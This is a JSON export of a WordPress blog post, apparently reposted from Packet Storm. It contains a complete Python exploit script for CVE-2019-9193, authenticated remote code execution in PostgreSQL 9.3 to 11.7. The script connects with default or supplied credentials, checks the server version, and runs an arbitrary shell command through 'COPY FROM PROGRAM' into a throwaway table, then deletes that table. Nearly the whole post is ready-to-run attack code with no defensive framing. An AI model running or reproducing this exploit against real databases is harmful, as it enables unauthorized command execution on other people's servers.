{"id":22370,"date":"2022-03-30T19:19:08","date_gmt":"2022-03-30T15:19:08","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166540\/postgres93117-exec.txt"},"modified":"2022-04-04T10:28:17","modified_gmt":"2022-04-04T05:58:17","slug":"postgresql-11-7-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/postgresql-11-7-remote-code-execution\/","title":{"rendered":"PostgreSQL 11.7 Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: PostgreSQL 9.3-11.7 &#8211; Remote Code Execution (RCE) (Authenticated)<br \/>\n# Date: 2022-03-29<br \/>\n# Exploit Author: b4keSn4ke<br \/>\n# Github: https:\/\/github.com\/b4keSn4ke<br \/>\n# Vendor Homepage: https:\/\/www.postgresql.org\/<br \/>\n# Software Link: https:\/\/www.postgresql.org\/download\/linux\/debian\/<br \/>\n# Version: 9.3 &#8211; 11.7<br \/>\n# Tested on: Linux x86-64 &#8211; Debian 4.19<br \/>\n# CVE: CVE-2019\u20139193<\/p>\n<p dir=\"ltr\">#!\/usr\/bin\/python3<\/p>\n<p dir=\"ltr\">import psycopg2<br \/>\nimport argparse<br \/>\nimport hashlib<br \/>\nimport time<\/p>\n<p dir=\"ltr\">def parseArgs():<br \/>\nparser = argparse.ArgumentParser(description=&#8217;CVE-2019\u20139193 &#8211; PostgreSQL 9.3-11.7 Authenticated Remote Code Execution&#8217;)<br \/>\nparser.add_argument(&#8216;-i&#8217;, &#8216;&#8211;ip&#8217;, nargs=&#8217;?&#8217;, type=str, default=&#8217;127.0.0.1&#8242;, help=&#8217;The IP address of the PostgreSQL DB [Default: 127.0.0.1]&#8217;)<br \/>\nparser.add_argument(&#8216;-p&#8217;, &#8216;&#8211;port&#8217;, nargs=&#8217;?&#8217;, type=int, default=5432, help=&#8217;The port of the PostgreSQL DB [Default: 5432]&#8217;)<br \/>\nparser.add_argument(&#8216;-d&#8217;, &#8216;&#8211;database&#8217;, nargs=&#8217;?&#8217;, default=&#8217;template1&#8242;, help=&#8217;Name of the PostgreSQL DB [Default: template1]&#8217;)<br \/>\nparser.add_argument(&#8216;-c&#8217;, &#8216;&#8211;command&#8217;, nargs=&#8217;?&#8217;, help=&#8217;System command to run&#8217;)<br \/>\nparser.add_argument(&#8216;-t&#8217;, &#8216;&#8211;timeout&#8217;, nargs=&#8217;?&#8217;, type=int, default=10, help=&#8217;Connection timeout in seconds [Default: 10 (seconds)]&#8217;)<br \/>\nparser.add_argument(&#8216;-U&#8217;, &#8216;&#8211;user&#8217;, nargs=&#8217;?&#8217;, default=&#8217;postgres&#8217;, help=&#8217;Username to use to connect to the PostgreSQL DB [Default: postgres]&#8217;)<br \/>\nparser.add_argument(&#8216;-P&#8217;, &#8216;&#8211;password&#8217;, nargs=&#8217;?&#8217;, default=&#8217;postgres&#8217;, help=&#8217;Password to use to connect to the the PostgreSQL DB [Default: postgres]&#8217;)<br \/>\nargs = parser.parse_args()<br \/>\nreturn args<\/p>\n<p dir=\"ltr\">def main():<br \/>\ntry:<br \/>\nprint (&#8220;\\r\\n[+] Connecting to PostgreSQL Database on {0}:{1}&#8221;.format(args.ip, args.port))<br \/>\nconnection = psycopg2.connect (<br \/>\ndatabase=args.database,<br \/>\nuser=args.user,<br \/>\npassword=args.password,<br \/>\nhost=args.ip,<br \/>\nport=args.port,<br \/>\nconnect_timeout=args.timeout<br \/>\n)<br \/>\nprint (&#8220;[+] Connection to Database established&#8221;)<\/p>\n<p dir=\"ltr\">print (&#8220;[+] Checking PostgreSQL version&#8221;)<br \/>\ncheckVersion(connection)<\/p>\n<p dir=\"ltr\">if(args.command):<br \/>\nexploit(connection)<br \/>\nelse:<br \/>\nprint (&#8220;[+] Add the argument -c [COMMAND] to execute a system command&#8221;)<\/p>\n<p dir=\"ltr\">except psycopg2.OperationalError as e:<br \/>\nprint (&#8220;\\r\\n[-] Connection to Database failed: \\r\\n{0}&#8221;.format(e))<br \/>\nexit()<\/p>\n<p dir=\"ltr\">def checkVersion(connection):<br \/>\ncursor = connection.cursor()<br \/>\ncursor.execute(&#8220;SELECT version()&#8221;)<br \/>\nrecord = cursor.fetchall()<br \/>\ncursor.close()<\/p>\n<p dir=\"ltr\">result = deserialize(record)<br \/>\nversion = float(result[(result.find(&#8220;PostgreSQL&#8221;)+11):(result.find(&#8220;PostgreSQL&#8221;)+11)+4])<\/p>\n<p dir=\"ltr\">if (version &gt;= 9.3 and version &lt;= 11.7):<br \/>\nprint(&#8220;[+] PostgreSQL {0} is likely vulnerable&#8221;.format(version))<\/p>\n<p dir=\"ltr\">else:<br \/>\nprint(&#8220;[-] PostgreSQL {0} is not vulnerable&#8221;.format(version))<br \/>\nexit()<\/p>\n<p dir=\"ltr\">def deserialize(record):<br \/>\nresult = &#8220;&#8221;<br \/>\nfor rec in record:<br \/>\nresult += rec[0]+&#8221;\\r\\n&#8221;<br \/>\nreturn result<\/p>\n<p dir=\"ltr\">def randomizeTableName():<br \/>\nreturn (&#8220;_&#8221; + hashlib.md5(time.ctime().encode(&#8216;utf-8&#8217;)).hexdigest())<\/p>\n<p dir=\"ltr\">def exploit(connection):<br \/>\ncursor = connection.cursor()<br \/>\ntableName = randomizeTableName()<br \/>\ntry:<br \/>\nprint (&#8220;[+] Creating table {0}&#8221;.format(tableName))<br \/>\ncursor.execute(&#8220;DROP TABLE IF EXISTS {1};\\<br \/>\nCREATE TABLE {1}(cmd_output text);\\<br \/>\nCOPY {1} FROM PROGRAM &#8216;{0}&#8217;;\\<br \/>\nSELECT * FROM {1};&#8221;.format(args.command,tableName))<\/p>\n<p dir=\"ltr\">print (&#8220;[+] Command executed\\r\\n&#8221;)<\/p>\n<p dir=\"ltr\">record = cursor.fetchall()<br \/>\nresult = deserialize(record)<\/p>\n<p dir=\"ltr\">print(result)<br \/>\nprint (&#8220;[+] Deleting table {0}\\r\\n&#8221;.format(tableName))<\/p>\n<p dir=\"ltr\">cursor.execute(&#8220;DROP TABLE {0};&#8221;.format(tableName))<br \/>\ncursor.close()<\/p>\n<p dir=\"ltr\">except psycopg2.errors.ExternalRoutineException as e:<br \/>\nprint (&#8220;[-] Command failed : {0}&#8221;.format(e.pgerror))<br \/>\nprint (&#8220;[+] Deleting table {0}\\r\\n&#8221;.format(tableName))<br \/>\ncursor = connection.cursor()<br \/>\ncursor.execute(&#8220;DROP TABLE {0};&#8221;.format(tableName))<br \/>\ncursor.close()<\/p>\n<p dir=\"ltr\">finally:<br \/>\nexit()<\/p>\n<p dir=\"ltr\">if __name__ == &#8220;__main__&#8221;:<br \/>\nargs = parseArgs()<br \/>\nmain()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: PostgreSQL 9.3-11.7 &#8211; Remote Code Execution (RCE) (Authenticated) # Date: 2022-03-29 # Exploit Author: b4keSn4ke # Github: https:\/\/github.com\/b4keSn4ke # Vendor Homepage: https:\/\/www.postgresql.org\/ # Software Link: https:\/\/www.postgresql.org\/download\/linux\/debian\/ # Version: 9.3 &#8211; 11.7 # Tested on: Linux x86-64 &#8211; Debian 4.19 # CVE: CVE-2019\u20139193 #!\/usr\/bin\/python3 import psycopg2 import argparse import hashlib import time def &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-22370","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/22370","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=22370"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/22370\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=22370"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=22370"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=22370"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}